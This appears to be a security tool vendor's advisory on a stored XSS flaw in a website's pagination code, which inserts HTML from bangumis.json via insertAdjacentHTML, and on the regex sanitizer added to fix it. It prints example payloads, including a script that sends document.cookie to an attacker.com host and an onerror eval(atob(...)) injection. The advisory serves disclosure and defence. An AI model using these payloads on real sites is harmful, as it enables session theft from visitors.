Affected Versions
| Affected | not applicable (first-party code) |
| Fixed in | commit fix applied |
| Ecosystem | JavaScript (browser) |
| CVE / GHSA | not assigned |
| CWE | unknown |
The Vulnerability Explained
The initPagination() function orchestrates progressive rendering of content fetched from bangumis.json. Within renderTasksInIdle(), the code takes HTML strings from this external JSON and inserts them directly into the DOM:
renderItemsInIdle(task.items, renderPage, (html) => {
document.querySelectorAll(task.selector)[0].insertAdjacentHTML('beforeBegin', html);
The html parameter here contains raw HTML generated from bangumis.json entries. No validation, escaping, or sanitization occurred before insertAdjacentHTML executed. This is the critical gap: any malicious content in the JSON file becomes executable JavaScript in every visitor's browser.
An attacker with the ability to modify bangumis.json—through supply chain compromise, a poisoned CDN, compromised build infrastructure, or direct repository access—could embed payloads like:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Or more subtly:
<img src="x" onerror="eval(atob('ZmV0Y2goJy4uLyk='))">
Since bangumis.json is typically treated as trusted data (it's part of the site's own infrastructure), Content Security Policy directives often permit its origin, making this an effective bypass vector for sites with otherwise strict CSP configurations.
The real-world impact is severe: persistent XSS affecting every page load for every user, with the payload living in what appears to be legitimate site data rather than user input.
The Fix
The patch introduces sanitizeBangumiHtml(), a dedicated sanitization function called immediately before insertAdjacentHTML:
function sanitizeBangumiHtml(html) {
return html
.replace(/<script[^>]*>[\s\S]*?<\/script>/gi, '')
.replace(/\s(on\w+)\s*=\s*("[^"]*"|'[^']*'|[^\s>]+)/gi, '')
.replace(/(href|src)\s*=\s*(["'])\s*javascript:[^"']*\2/gi, '$1=$2#$2');
}
The fixed insertion becomes:
document.querySelectorAll(task.selector)[0].insertAdjacentHTML('beforeBegin', sanitizeBangumiHtml(html));
The three regex patterns address distinct attack vectors:
<script[^>]*>[\s\S]*?<\/script>— Removes complete script blocks, including those with attributes like<script type="text/javascript">\s(on\w+)\s*=\s*...— Strips event handler attributes (onclick,onerror,onload, etc.) regardless of quote stylejavascript:URL neutralization — Replaceshref="javascript:..."andsrc="javascript:..."with harmless#fragments, preserving the attribute structure to avoid breaking layout
This is a blacklist approach appropriate for this specific context: the expected bangumis.json content contains benign HTML markup, and the sanitization removes known-dangerous patterns. A whitelist approach (allowing only specific tags) would be more robust for untrusted user content, but the threat model here is compromised infrastructure, not malicious user input.
Key Takeaways
- External JSON files are attack surface: Treat any data fetched at runtime—from CDNs, build artifacts, or configuration endpoints—as potentially hostile, even if you control the source
insertAdjacentHTMLis not inherently safe: UnliketextContent, it parses and executes HTML; the safety depends entirely on input validation- Event handlers are XSS vectors in HTML context: The
on*family of attributes execute JavaScript without needing<script>tags javascript:URLs survive many naive filters: They require explicit neutralization, not just removal of<script>elements- Supply chain attacks target data, not just dependencies: Compromising static assets or JSON configuration files achieves the same execution as poisoned npm packages
How Orbis AppSec Detected This
Source: The bangumis.json data fetched at runtime
Sink: insertAdjacentHTML invoked with unsanitized HTML in renderTasksInIdle
Missing control: No sanitization between JSON parsing and DOM insertion; the html callback parameter flowed directly to the sink
CWE: unknown (XSS pattern)
Fix: Added sanitizeBangumiHtml() to strip script tags, event handlers, and javascript: URLs before DOM insertion
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This vulnerability illustrates how modern web architectures create unexpected trust boundaries. A JSON file—seemingly static data—became an XSS delivery mechanism because the rendering pipeline assumed its own infrastructure was trustworthy. The sanitizeBangumiHtml() fix restores that boundary by treating all inserted HTML as potentially hostile, regardless of source. For developers, the lesson extends beyond this single function: any data that crosses from server to client, whether through APIs, JSON files, or build artifacts, requires validation at the point of execution.